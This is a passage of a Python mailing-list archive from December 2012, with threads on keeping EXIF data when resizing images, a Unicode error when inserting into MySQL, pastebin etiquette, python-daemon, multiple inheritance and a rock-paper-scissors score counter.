modify image and save with exif data Message-ID: <31bba35e-53e7-4a75-8ac8-ea10f4a8b4b8@googlegroups.com> I want to resize an image but retain the exif data I now have: import Image img = Image.open('photo.jpg') img.thumbnail((800, 800), Image.ANTIALIAS) img.save('photo800.jpg', 'JPEG') The saved image photo800.jpg has no exif info anymore. I would so much like to have it retained in particular the exposure and gps data. I use Python 2.7 with PIL 1.17 on Ubuntu 12.04 For exif reading/writing I use pyexiv2 0.3.2 but apparently you cannot add tags to an image that has none; only modifying existing ones seems to work. Thanks for any helpful suggestions, Janwillem From gheskett at wdtv.com Sun Dec 16 15:00:10 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Sun, 16 Dec 2012 15:00:10 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: References: <201212152038.12350.gheskett@wdtv.com> <201212160622.32443.gheskett@wdtv.com> Message-ID: <201212161500.10428.gheskett@wdtv.com> On Sunday 16 December 2012 14:55:53 Terry Reedy did opine: > On 12/16/2012 6:22 AM, Gene Heskett wrote: > > On Sunday 16 December 2012 01:33:35 Terry Reedy did opine: > >> You appear to have some of /Lib/test/ present, including > >> Lib/test/regrtest.py, but not move of the test_xxx.py files. I do not > >> know what is normal for an Ubuntu distribution. On Windows, I believe > >> it is all or nothing. > > > > /usr/lib/test? > > No. I am on Windows and by /Lib I mean the directory containing > Python-coded stdlib modules. It is on sys.path. For me, the path entry > is 'C:\\Programs\\Python33\\lib'. (Windows paths are case indifferent > for matching.) /test is one of several package subdirectories in /Lib. Nothing even remotely related in the linux /lib tree: gene at coyote:/$ ls -lR /lib|grep test -rw-r--r-- 1 root root 6592 2010-07-27 13:58 raid6test.ko drwxr-xr-x 2 root root 4096 2010-07-27 23:16 tests /lib/modules/2.6.32-122-rtai/kernel/drivers/mtd/tests: -rw-r--r-- 1 root root 14752 2010-07-27 13:58 mtd_oobtest.ko -rw-r--r-- 1 root root 12668 2010-07-27 13:58 mtd_pagetest.ko -rw-r--r-- 1 root root 7260 2010-07-27 13:58 mtd_readtest.ko -rw-r--r-- 1 root root 10304 2010-07-27 13:58 mtd_speedtest.ko -rw-r--r-- 1 root root 8552 2010-07-27 13:58 mtd_stresstest.ko -rw-r--r-- 1 root root 12220 2010-07-27 13:58 mtd_subpagetest.ko -rw-r--r-- 1 root root 13336 2010-07-27 13:58 mtd_torturetest.ko -rw-r--r-- 1 root root 5816 2010-07-27 13:58 rtc-test.ko -rw-r--r-- 1 root root 6968 2010-07-27 13:58 comedi_test.ko -rw-r--r-- 1 root root 29556 2010-07-27 13:59 usbtest.ko I knew there was a certain amount of isolation between the windows version and the linux version, but this seems total, so perhaps someone actually running linux can chip in here, with suggestions that are valid for the linux version? Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! There is no sincerer love than the love of food. -- George Bernard Shaw I was taught to respect my elders, but its getting harder and harder to find any... From rosuav at gmail.com Sun Dec 16 15:13:44 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 17 Dec 2012 07:13:44 +1100 Subject: Pastebin [was: Trying to make a basic Python score counter in a game... will not count.] In-Reply-To: References: Message-ID: On Mon, Dec 17, 2012 at 5:35 AM, Ian Kelly wrote: > On Sun, Dec 16, 2012 at 10:32 AM, Kwpolska wrote: >> On Sun, Dec 16, 2012 at 6:25 PM, wrote: >>> On Sunday, December 16, 2012 10:09:53 AM UTC-7, Kwpolska wrote: >>>>[...] >>>> PS. please do not use pastebin.com. >>> >>> Why? >> >> http://news.ycombinator.com/item?id=2595066 should answer this very question. > > That seems to be a problem with a certain class of users that have > adopted Pastebin, not a problem with the site itself. What do you > hope to accomplish by boycotting Pastebin for actual code pastes? > Even if the site were to cease to exist tomorrow, what is to stop the > hackers from simply switching to dpaste or gist like everybody else? The comment by genbattle in the above link is an important one, I think. The last time I used pastebin was for Pike code - does any competing site have Pike support? http://pastebin.com/UNTj642Y I don't understand the idea behind the boycott. Are people worried about the longevity of linked-to content, in the event that pastebin should, as you say, cease to exist tomorrow? Or is it that some won't click a pastebin link in case it's abusive? This isn't the sort of abuse that can compromise your computer. ChrisA From rosuav at gmail.com Sun Dec 16 15:25:51 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 17 Dec 2012 07:25:51 +1100 Subject: python-daemon In-Reply-To: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> Message-ID: On Mon, Dec 17, 2012 at 3:59 AM, wrote: > On 12/16/2012 08:26 AM, n8felton at gmail.com wrote: >> Hello all. Got a question for anyone out there that is willing to >> help. Looking to make a Python Daemon, Google searches lead me to >> http://pypi.python.org/pypi/python-daemon. My question is 2 part. 1) >> pip install python-daemon downloads version 1.6, but the site states >> that 1.5.5 is the latest version. Anyone know why this is? 2) With >> python-daemon having been last uploaded in 2010, is anyone aware if >> there is a better implementation for python daemons, or is this still >> considered current? > > The author of the python-daemon package I believe is Ben Finney, > who sometimes posts here. Sadly, I think he is a member of a group > of people here who say they filter out and ignore all messages posted > from Google Groups (which would include yours and mine). > > If you get no other good answers here, you could try emailing him > directly at ben+python at benfinney.id.au, which is the address on > a recent post from him. More courteous would be to NOT post an unsolicited email to a poster's address gleaned (by someone else) from a mailing list, but to look for contact details in the package itself. I haven't looked, so it may well be that there are none, but if there's an official contact point for the package, that would be a very good start. If your post is swallowed by someone's twit filter, that probably means that you're doing something twittish. Switching to direct mail isn't going to win you any friends :) Switching your newsgroup client, however, will have all the same benefits; so do you want to be a tool of the anti-Google-Groups propaganda, or of the anti-anti-Google-Groups propaganda? ChrisA From tolidtm at gmail.com Sun Dec 16 16:10:37 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Sun, 16 Dec 2012 22:10:37 +0100 Subject: Unicode Message-ID: Hello guys, I'm using Linux CentOS and Python 2.4 with MySQL 5.xx, I get error with Unicode I tried many things that I found on the net but none of them working. If I dont use UTF-8 it inserts the data into the DB but some French char. are not correctly decoded. Could you please help me ? Thanks def PrepareSpecs(product_id, icecat_prod_id, icecat_image_url, name): """Gets the specifications of a product from Icecat.biz and insert them into the DB """ specs = {3:GetSpecsNL(icecat_prod_id),2:GetSpecsFR(icecat_prod_id).decode('utf-8'),1:GetSpecsEN(icecat_prod_id)} SpecsToSQL(product_id,specs,name) CategorySQL(product_id) StoreSQL(product_id) GetIMG(icecat_image_url,icecat_prod_id) return def GetSpecsFR(icecat_prod_id): opener = urllib.FancyURLopener({}) ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" % icecat_prod_id) specsfr = ffr.read() #specsfr = specsfr.decode('utf-8') specsfr = RemoveHTML(specsfr) ##specsfr = "%r" % specsfr ## if specsfr: ## try: ## specsfr = str(specsfr) ## except UnicodeEncodeError: ## specsfr = str(specsfr.encode('utf-16')) return specsfr def RemoveHTML(specs): specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("","") specs = specs.replace("

","") specs = specs.replace("

","") return specs def SpecsToSQL(product_id, specs, name): for lang, spec in specs.iteritems(): InsertSpecsDB(product_id, spec, lang, name) return def InsertSpecsDB(product_id, spec, name, lang): db = MySQLdb.connect("localhost","getit","opencart") cursor = db.cursor() sql = "INSERT INTO product_description (product_id, language_id, name, description) VALUES (%s,%s,%s,%s)" params = (product_id, lang, name, spec) cursor.execute(sql, params) id = cursor.lastrowid print"Updated ID %s description %s" %(int(id), lang) return From rurpy at yahoo.com Sun Dec 16 17:18:14 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 14:18:14 -0800 (PST) Subject: python-daemon In-Reply-To: References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> Message-ID: On Sunday, December 16, 2012 1:25:51 PM UTC-7, Chris Angelico wrote: >[...] > If your post is swallowed by someone's twit filter, that probably > means that you're doing something twittish. Switching to direct mail > isn't going to win you any friends :) Switching your newsgroup client, > however, will have all the same benefits; so do you want to be a tool > of the anti-Google-Groups propaganda, or of the > anti-anti-Google-Groups propaganda? The contents of a twit filter can be just as good an indication of a twit reader as a twit poster. And as was pointed out the last time this subject came up, no, other clients do not "have all the same benefits" [as GG]. Rather than continue this twit-for-twat noise I've tried to provide something a little more constructive at http://wiki.python.org/moin/GoogleGroupsPython From wuwei23 at gmail.com Sun Dec 16 18:52:07 2012 From: wuwei23 at gmail.com (alex23) Date: Sun, 16 Dec 2012 15:52:07 -0800 (PST) Subject: Trying to make a basic Python score counter in a game... will not count. References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <70987e1d-716e-42a6-b08c-c7fe709a961a@googlegroups.com> Message-ID: <83478712-ba93-4eb9-84fd-61eec3dbe20f@qi8g2000pbb.googlegroups.com> On Dec 17, 3:32?am, Kwpolska wrote: > >> PS. please do not use pastebin.com. > http://news.ycombinator.com/item?id=2595066should answer this very question. By that argument, you should also be asking people not to use the internet. From d at davea.name Sun Dec 16 19:37:23 2012 From: d at davea.name (Dave Angel) Date: Sun, 16 Dec 2012 19:37:23 -0500 Subject: Unicode In-Reply-To: References: Message-ID: <50CE6943.90905@davea.name> On 12/16/2012 04:10 PM, Anatoli Hristov wrote: > Hello guys, > > I'm using Linux CentOS and Python 2.4 with MySQL 5.xx, I get error > with Unicode I tried many things that I found on the net but none of > them working. > > If I dont use UTF-8 it inserts the data into the DB but some French > char. are not correctly decoded. Could you please help me ? Thanks for describing your system, and for using plain text in your message. But the program you supplied is missing quite a bit, starting with the imports. And you say nothing at all about the error you get. You should include a full traceback of whatever error you're getting, along with information about how you got there. I don't see any place there which is dealing with unicode, except for the part which is commented out. Hard to get an error on those lines. -- DaveA From nick.m.daly at gmail.com Sun Dec 16 23:30:44 2012 From: nick.m.daly at gmail.com (Nick M. Daly) Date: Sun, 16 Dec 2012 22:30:44 -0600 Subject: Why Isn't Multiple Inheritance Automatic in Python? Message-ID: <87licxi9l7.fsf@debian.home> If you're short on time, the subject's all you need to read. It seems like it would always be the right thing to do, when the sub-class specifically requests it. It's very unlikely that multiple inheritance would go horribly wrong, as long as classes adopt class-specific argument naming conventions. However, ever since bug 1683368 [0] was fixed, it's now impossible to cleanly create arbitrary inheritance trees. The only reason I can't just take anybody's code and plop it into my inheritance tree is because Python demands that each class specifically opts in to MI though mechanisms like the following: 1: class Foo(object): 2: def __init__(self, foo_bar, *args, **kwargs): 3: if Foo.__mro__[1] != object: 4: super().__init__(*args, **kwargs) 5: 6: self.bar = foo_bar Lines 3 and 4 are required because Foo might fall at the beginning or the middle of in the inheritance tree: we can't know ahead of time. >From my perspective, it'd be lovely if init methods implicitly accepted *args and **kwargs while implicitly sending them off to the next class in the MRO as the first call. This would make the previous example semantically equivalent to: 1: class Foo(object): 2: def __init__(self, foo_bar): 3: self.bar = foo_bar Granted, that's probably too excessive and implicit for most folks to be comfortable with, even though that's obviously the behavior a user intends when they write code like: 1: class Baz(Foo, Bar): 2: def __init__(self): 3: super().__init__(foo_bar=1, bar_quote="Give me another!") Fundamentally, I don't care if Foo or Bar explicitly handle being composed into the inheritance tree. They can be composed correctly (they can do what the user is asking) in most obvious and simple cases, and it'd be fine by me even if we threw errors in complex situations (like overlapping argument names in init methods). So, would it be a good idea to: 1. Undo the fix to bug 1683368, making multiple inheritance easier? 2. Make MI implicit, when subclasses try to use it? Thanks for your time, Nick 0: http://bugs.python.org/issue1683368 From msirenef at lightbird.net Mon Dec 17 00:11:50 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Mon, 17 Dec 2012 00:11:50 -0500 Subject: Trying to make a basic Python score counter in a game... will not count. In-Reply-To: <50CE0DD4.6000208@lightbird.net> References: <8168cab2-95eb-4779-9fc7-d16d51c7d3b8@googlegroups.com> <50CE0DD4.6000208@lightbird.net> Message-ID: <50CEA996.6040403@lightbird.net> On 12/16/2012 01:07 PM, Mitya Sirenef wrote: > On 12/16/2012 12:00 PM, Darrien Glasser wrote: >> Hey guys, I'm working on a Python rock paper scissors (lizard spock) game, and the beginning is > complete. After I finished it, I thought, "You know what? I think I can make this even better, and add a score counter." And so I did. > > > > The problem is that it doesn't seem to actually keep track of score. In fact it always keeps the score at 0 for both players. It's fully functional otherwise, but it's bothering me that I can't get it to work. > > > > Currently using Windows Python 32 bit v2.6.8 > > > > Download of the code here: > > > > https://www.box.com/s/2lupxeyk5jvsxs0zkdfb > > > > Copy of the code here: > > > > http://pastebin.com/MNdgiuSY > > > > Thanks in advance for your help... > > > I was actually thinking of making a simple rock paper scissors game so I > went ahead and cobbled it together, using a design with a class and > generally a structured approach.. It keeps the scores, too, and you can > set both players to be AI, or one to be AI, or both to be humans: > > https://github.com/pythonbyexample/PBE/blob/master/code/rockpaper.py > > (it needs python3 but can be easily changed to work with python2.x) > > > - mitya > If anyone's interested, I've simplified the code further by making use of my TextInput utility class; I've also made the game into a tutorial, it can be found here: http://lightbird.net/larks/rockpaper.html The updated full code is really tiny (it requires utils.py which is linked at the top of tutorial): import sys from random import choice as randchoice from time import sleep from utils import TextInput players = 'XY' ai_players = 'Y' moves = "rps" wins = ("rp", "sr", "ps") # choice on the right side wins status = "%5s %3d %5s %3d moves: %s %s" pause_time = 0.3 class RockPaperScissors(object): def run(self): self.textinput = TextInput("(r|p|s)") scores = [0, 0] while True: choice1, choice2 = (self.get_move(p) for p in players) if choice1 != choice2: winplayer = 1 if (choice1+choice2 in wins) else 0 scores[winplayer] += 1 print(status % (players[0], scores[0], players[1], scores[1], choice1, choice2)) sleep(pause_time) def get_move(self, player): if player in ai_players : return randchoice(moves) else : return self.textinput.getval() if __name__ == "__main__": try : RockPaperScissors().run() except KeyboardInterrupt : pass -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From steve+comp.lang.python at pearwood.info Mon Dec 17 01:06:45 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 17 Dec 2012 06:06:45 GMT Subject: Unicode References: Message-ID: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> On Sun, 16 Dec 2012 22:10:37 +0100, Anatoli Hristov wrote: > If I dont use UTF-8 it inserts the data into the DB but some French > char. are not correctly decoded. Could you please help me ? What happens when you do use UTF-8? What do you mean, "use UTF-8"? To learn about Unicode, start here: http://www.joelonsoftware.com/articles/Unicode.html If that helps you solve the problem, excellent. If not, please come back with your questions, but first read this: http://www.sscce.org/ As given, we cannot answer your question easily, or at all, because we cannot run your code. It gives indentation errors, you don't tell us what modules you're using, and you haven't reduced the example down to the critical parts that demonstrate the failure. -- Steven From rosuav at gmail.com Mon Dec 17 01:16:46 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 17 Dec 2012 17:16:46 +1100 Subject: python-daemon In-Reply-To: References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> Message-ID: On Mon, Dec 17, 2012 at 9:18 AM, wrote: > On Sunday, December 16, 2012 1:25:51 PM UTC-7, Chris Angelico wrote: >>[...] >> If your post is swallowed by someone's twit filter, that probably >> means that you're doing something twittish. Switching to direct mail >> isn't going to win you any friends :) Switching your newsgroup client, >> however, will have all the same benefits; so do you want to be a tool >> of the anti-Google-Groups propaganda, or of the >> anti-anti-Google-Groups propaganda? > > The contents of a twit filter can be just as good an indication > of a twit reader as a twit poster. > > And as was pointed out the last time this subject came up, no, > other clients do not "have all the same benefits" [as GG]. > > Rather than continue this twit-for-twat noise I've tried to > provide something a little more constructive at > > http://wiki.python.org/moin/GoogleGroupsPython All you've said is the exact same things that have already been said, including that not everyone will see your post if you use Google Groups. Why use something that unnecessarily restricts your audience, when non-restrictive posting methods work just fine? Anyway. This debate isn't going away; I have no strong side in it, I'm just informing people of the fact that posting from GG will reduce your potential response sources. ChrisA From vincent.vandevyvre at swing.be Mon Dec 17 01:39:31 2012 From: vincent.vandevyvre at swing.be (Vincent Vande Vyvre) Date: Mon, 17 Dec 2012 07:39:31 +0100 Subject: modify image and save with exif data In-Reply-To: <31bba35e-53e7-4a75-8ac8-ea10f4a8b4b8@googlegroups.com> References: <31bba35e-53e7-4a75-8ac8-ea10f4a8b4b8@googlegroups.com> Message-ID: <50CEBE23.8020004@swing.be> Le 16/12/12 20:43, jwe.van.dijk at gmail.com a ?crit : > I want to resize an image but retain the exif data > I now have: > import Image > > img = Image.open('photo.jpg') > img.thumbnail((800, 800), Image.ANTIALIAS) > img.save('photo800.jpg', 'JPEG') > > The saved image photo800.jpg has no exif info anymore. > I would so much like to have it retained in particular the exposure and gps data. > > I use Python 2.7 with PIL 1.17 on Ubuntu 12.04 > For exif reading/writing I use pyexiv2 0.3.2 but apparently you cannot add tags to an image that has none; only modifying existing ones seems to work. > > Thanks for any helpful suggestions, > Janwillem Hi, If a tag is not already set you can create it with pyexiv2. Example: ---------------------------------------------------------------------- self.data = pyexiv2.ImageMetadata(img.jpg) self.data.read() tag = "Exif.Image.ImageWidth" try: self.data[tag].value = sizes[0] except: self.data[tag] = pyexiv2.ExifTag(tag, sizes[0]) ----------------------------------------------------------------------- A more complete example: http://bazaar.launchpad.net/~vincent-vandevyvre/oqapy/serie-1.0/view/head:/oqapy-1.0/metadata.py -- Vincent V.V. Oqapy . Qarte . PaQager From steve+comp.lang.python at pearwood.info Mon Dec 17 01:47:24 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 17 Dec 2012 06:47:24 GMT Subject: Pastebin [was: Trying to make a basic Python score counter in a game... will not count.] References: Message-ID: <50cebffc$0$29868$c3e8da3$5496439d@news.astraweb.com> On Mon, 17 Dec 2012 07:13:44 +1100, Chris Angelico wrote: > On Mon, Dec 17, 2012 at 5:35 AM, Ian Kelly > wrote: >> On Sun, Dec 16, 2012 at 10:32 AM, Kwpolska wrote: >>> On Sun, Dec 16, 2012 at 6:25 PM, wrote: >>>> On Sunday, December 16, 2012 10:09:53 AM UTC-7, Kwpolska wrote: >>>>>[...] >>>>> PS. please do not use pastebin.com. >>>> >>>> Why? [...] > I don't understand the idea behind the boycott. Are people worried about > the longevity of linked-to content, in the event that pastebin should, > as you say, cease to exist tomorrow? Or is it that some won't click a > pastebin link in case it's abusive? This isn't the sort of abuse that > can compromise your computer. How do you know? Between javascript and flash, just about any browser could be vulnerable to just about any website. You might implicitly trust Pastebin, but you can't possibly *know* that the site won't do bad things. It wouldn't be the first time that even a reputable website got hacked by somebody who used it to deploy malware. But that's not why I dislike Pastebin. I argue against Pastebin because: 1) Longevity of the content. Your question is going to be around for much, much longer than your pastebin. People searching for help will click through to the pastebin and find the code is gone. It is really frustrating to (say) search for the solution to a problem, and find that the answer is given in an expired pastebin. 2) When you ask for help via email, you shouldn't assume that the people reading have access to the web. Perhaps they have email access, but all or part of the web is blocked to them. Perhaps they are reading email on a mobile device and don't mind paying to download a couple of KB of email, but draw the line at (potentially) hundreds of KB of a web page plus associated images, unnecessary javascript, web bugs, advertisements, etc. Or maybe they just don't want the context switch: "I'm reading email right now, I'll click the link later..." Email is a push technology. A pastebin is a pull technology. Whenever you require your audience to actively go and get content, you're cutting your audience by some fraction. I am aware that it is irrational and silly, but for me it also has to do with a sense of fairness. I'm prepared to spend tens of minutes, or sometimes even an hour or more, solving somebody else's problem for no benefit except a sense of accomplishment. But ask me to click on a pastebin to find out what that question is, and I'm all "Why should I have to go out of my way to find out what your question is? You're asking me to do you a favour, and you're making me work to find out what the favour is??? Fuck you!" But maybe that's just me :-) I'm not saying "never use a paste bin". I think it probably makes lots of sense to use one in IRC, where it is inappropriate to paste more than a line or two of code at once, and the conversation is already ephemeral. But in a Usenet or email forum, I think it is almost always inappropriate to use paste bins. If your code is too large to paste directly in the body of your email, chances are it is too large to expect people to debug for you. But you can try adding it as an attachment (.py, not .doc), and only if you can't do that for some reason, then maybe a paste bin is appropriate. -- Steven From rurpy at yahoo.com Mon Dec 17 02:25:18 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 23:25:18 -0800 (PST) Subject: python-daemon In-Reply-To: References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> Message-ID: <1552a621-9f7f-4ca7-9c0b-06fef6ad9bd2@googlegroups.com> On 12/16/2012 11:16 PM, Chris Angelico wrote: > On Mon, Dec 17, 2012 at 9:18 AM, wrote: >> On Sunday, December 16, 2012 1:25:51 PM UTC-7, Chris Angelico wrote: >>>[...] >>> If your post is swallowed by someone's twit filter, that probably >>> means that you're doing something twittish. Switching to direct mail >>> isn't going to win you any friends :) Switching your newsgroup client, >>> however, will have all the same benefits; so do you want to be a tool >>> of the anti-Google-Groups propaganda, or of the >>> anti-anti-Google-Groups propaganda? >> >> The contents of a twit filter can be just as good an indication >> of a twit reader as a twit poster. >> >> And as was pointed out the last time this subject came up, no, >> other clients do not "have all the same benefits" [as GG]. >> >> Rather than continue this twit-for-twat noise I've tried to >> provide something a little more constructive at >> >> http://wiki.python.org/moin/GoogleGroupsPython > > All you've said is the exact same things that have already been said, > including that not everyone will see your post if you use Google > Groups. Why use something that unnecessarily restricts your audience, > when non-restrictive posting methods work just fine? I keep saying them because people like you keep saying (in effect) that there is no difference in clients (in terms of usability, convenience, setup effort and other factors that vary on a person-by-person basis.) I even wrote that above, right in the post you're replying to: >> no, other clients do not "have all the same benefits" and yet you respond that other "posting methods work just fine" Again, that may be true for you and your definition of "fine", and maybe even for many people but it is not true for everyone, As you say, all this has been said before and if you need to refresh your memory, please see the list archives, the thread, "Simple Question regarding running .py program" around nov 14. > Anyway. This debate isn't going away; I have no strong side in it, I'm > just informing people of the fact that posting from GG will reduce > your potential response sources. No, that's not what you were "just" informing people of... you were also informing us that we are "twits" for finding Google Groups fits our needs better than some other clients. From rosuav at gmail.com Mon Dec 17 02:33:52 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 17 Dec 2012 18:33:52 +1100 Subject: python-daemon In-Reply-To: <1552a621-9f7f-4ca7-9c0b-06fef6ad9bd2@googlegroups.com> References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> <1552a621-9f7f-4ca7-9c0b-06fef6ad9bd2@googlegroups.com> Message-ID: On Mon, Dec 17, 2012 at 6:25 PM, wrote: > No, that's not what you were "just" informing people of... > you were also informing us that we are "twits" for finding > Google Groups fits our needs better than some other clients. I didn't say that. The first twit filter I met was when my dad put *his own* address into it, to avoid downloading the posts he'd sent (on a modem, that was significant). And that was the most normal thing to do, twitting yourself :) ChrisA From rurpy at yahoo.com Mon Dec 17 02:59:05 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Sun, 16 Dec 2012 23:59:05 -0800 (PST) Subject: python-daemon In-Reply-To: References: <249e24aa-ea0e-4dab-afbe-bfeb5ce98592@googlegroups.com> <1552a621-9f7f-4ca7-9c0b-06fef6ad9bd2@googlegroups.com> Message-ID: On Monday, December 17, 2012 12:33:52 AM UTC-7, Chris Angelico wrote: > On Mon, Dec 17, 2012 at 6:25 PM, wrote: > > No, that's not what you were "just" informing people of... > > you were also informing us that we are "twits" for finding > > Google Groups fits our needs better than some other clients. > > I didn't say that. The first twit filter I met was when my dad put > *his own* address into it, to avoid downloading the posts he'd sent > (on a modem, that was significant). And that was the most normal thing > to do, twitting yourself :) You wrote, >>> If your post is swallowed by someone's twit filter, that probably >>> means that you're doing something twittish. Perhaps in your part of the world, "twit" means something different than it means here, but here the meaning is pretty clear and quite derogatory. From rosuav at gmail.com Mon Dec 17 03:06:59 2012 From: rosuav at gmail.com (Chris Angelico) Date: Mon, 17 Dec 2012 19:06:59 +1100 Subject: Pastebin [was: Trying to make a basic Python score counter in a game... will not count.] In-Reply-To: <50cebffc$0$29868$c3e8da3$5496439d@news.astraweb.com> References: <50cebffc$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Mon, Dec 17, 2012 at 5:47 PM, Steven D'Aprano wrote: > On Mon, 17 Dec 2012 07:13:44 +1100, Chris Angelico wrote: >> I don't understand the idea behind the boycott. Are people worried about >> the longevity of linked-to content, in the event that pastebin should, >> as you say, cease to exist tomorrow? Or is it that some won't click a >> pastebin link in case it's abusive? This isn't the sort of abuse that >> can compromise your computer. > > How do you know? Between javascript and flash, just about any browser > could be vulnerable to just about any website. You might implicitly trust > Pastebin, but you can't possibly *know* that the site won't do bad > things. It wouldn't be the first time that even a reputable website got > hacked by somebody who used it to deploy malware. Sure, anything can be compromised. But demonstrations that Pastebin has been used to disseminate illegal information have nothing to do with that. However... > But that's not why I dislike Pastebin. I argue against Pastebin because: > > 1) Longevity of the content. Your question is going to be around for > much, much longer than your pastebin. People searching for help will > click through to the pastebin and find the code is gone. It is really > frustrating to (say) search for the solution to a problem, and find that > the answer is given in an expired pastebin. ... ah, that's a much more serious issue. When do they expire? I didn't find it on the site. Some of the others expire after a VERY short time (weeks, or even hours), making them completely inappropriate for this sort of thing. It really needs to be indefinite duration. > 2) When you ask for help via email, you shouldn't assume that the people > reading have access to the web. Perhaps they have email access, but all > or part of the web is blocked to them. Perhaps they are reading email on > a mobile device and don't mind paying to download a couple of KB of > email, but draw the line at (potentially) hundreds of KB of a web page > plus associated images, unnecessary javascript, web bugs, advertisements, > etc. Or maybe they just don't want the context switch: > > "I'm reading email right now, I'll click the link later..." > > Email is a push technology. A pastebin is a pull technology. Whenever you > require your audience to actively go and get content, you're cutting your > audience by some fraction. Yes, I agree. And I'll go further: I don't like having to download an attached file. Put your code inline; if it's too long for that, it's probably too long to be asking about. There are exceptions, of course, but if I'm going to go fetch components from elsewhere, I have to have already been drawn into the thread with strong interest. It's a steep hill to climb. > "Why should I > have to go out of my way to find out what your question is? You're asking > me to do you a favour, and you're making me work to find out what the > favour is???" Can't argue with that! I agree, other than that I don't swear. :) > I'm not saying "never use a paste bin". I think it probably makes lots of > sense to use one in IRC, where it is inappropriate to paste more than a > line or two of code at once, and the conversation is already ephemeral. > But in a Usenet or email forum, I think it is almost always inappropriate > to use paste bins. If your code is too large to paste directly in the > body of your email, chances are it is too large to expect people to debug > for you. But you can try adding it as an attachment (.py, not .doc), and > only if you can't do that for some reason, then maybe a paste bin is > appropriate. Yeah, it's good for a MUD too. We use URL shorteners and such, and aren't too concerned that tinyurl.com might not exist in a few years (though it is better to use ones that don't expire URLs). But really, when you're asking for Python help, you shouldn't need to blat tens of kay of code at us all. It should be possible to put it in-line. ChrisA From tolidtm at gmail.com Mon Dec 17 03:59:13 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 09:59:13 +0100 Subject: Unicode In-Reply-To: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: > What happens when you do use UTF-8? This is the result when I encode the string: " ??troits, en utilisant un portable extr??mement puissant???le plus petit et le plus l??ger des HP EliteBook pleine puissance???avec un ??cran de diagonale 31,75 cm (12,5 pouces), id??al pour le professionnel ultra-mobile. " No accents > > What do you mean, "use UTF-8"? Trying to encode the string > > > To learn about Unicode, start here: > > http://www.joelonsoftware.com/articles/Unicode.html > > If that helps you solve the problem, excellent. If not, please come back > with your questions, but first read this: I will try to understand the logic :) > > http://www.sscce.org/ > > As given, we cannot answer your question easily, or at all, because we > cannot run your code. It gives indentation errors, you don't tell us what > modules you're using, and you haven't reduced the example down to the > critical parts that demonstrate the failure. I didn't wanted to include all my code as it is 15K. and also I know my code is crappy and you will start blaming and saying that my code is crap.- and I know it ! Thanks From jwe.van.dijk at gmail.com Mon Dec 17 04:10:37 2012 From: jwe.van.dijk at gmail.com (jwe.van.dijk at gmail.com) Date: Mon, 17 Dec 2012 01:10:37 -0800 (PST) Subject: modify image and save with exif data In-Reply-To: <31bba35e-53e7-4a75-8ac8-ea10f4a8b4b8@googlegroups.com> References: <31bba35e-53e7-4a75-8ac8-ea10f4a8b4b8@googlegroups.com> Message-ID: <23491bb8-7ded-4fae-8303-7109731b9639@googlegroups.com> On Sunday, 16 December 2012 20:43:12 UTC+1, jwe.va... at gmail.com wrote: > I want to resize an image but retain the exif data > > I now have: > > import Image > > > > img = Image.open('photo.jpg') > > img.thumbnail((800, 800), Image.ANTIALIAS) > > img.save('photo800.jpg', 'JPEG') > > > > The saved image photo800.jpg has no exif info anymore. > > I would so much like to have it retained in particular the exposure and gps data. > > > > I use Python 2.7 with PIL 1.17 on Ubuntu 12.04 > > For exif reading/writing I use pyexiv2 0.3.2 but apparently you cannot add tags to an image that has none; only modifying existing ones seems to work. > > > > Thanks for any helpful suggestions, > > Janwillem Thanks Vincent, I tried that but without try-except. I should have done and with also a try except in your except it works. It appears that the failure is in a few Nikon tags that apparently can be read but not set. Setting Exif.Nikon3.0x002d failed, Setting Exif.Nikon3.0x009d failed, Setting Exif.Nikon3.ExposureTuning failed, Setting Exif.Nikon3.Preview failed, Not important so I am happy with your tip. Janwillem From ian.g.kelly at gmail.com Mon Dec 17 04:14:45 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Mon, 17 Dec 2012 02:14:45 -0700 Subject: Why Isn't Multiple Inheritance Automatic in Python? In-Reply-To: <87licxi9l7.fsf@debian.home> References: <87licxi9l7.fsf@debian.home> Message-ID: On Sun, Dec 16, 2012 at 9:30 PM, Nick M. Daly wrote: > It's very unlikely that multiple inheritance would go horribly wrong, as > long as classes adopt class-specific argument naming conventions. > However, ever since bug 1683368 [0] was fixed, it's now impossible to > cleanly create arbitrary inheritance trees. No, 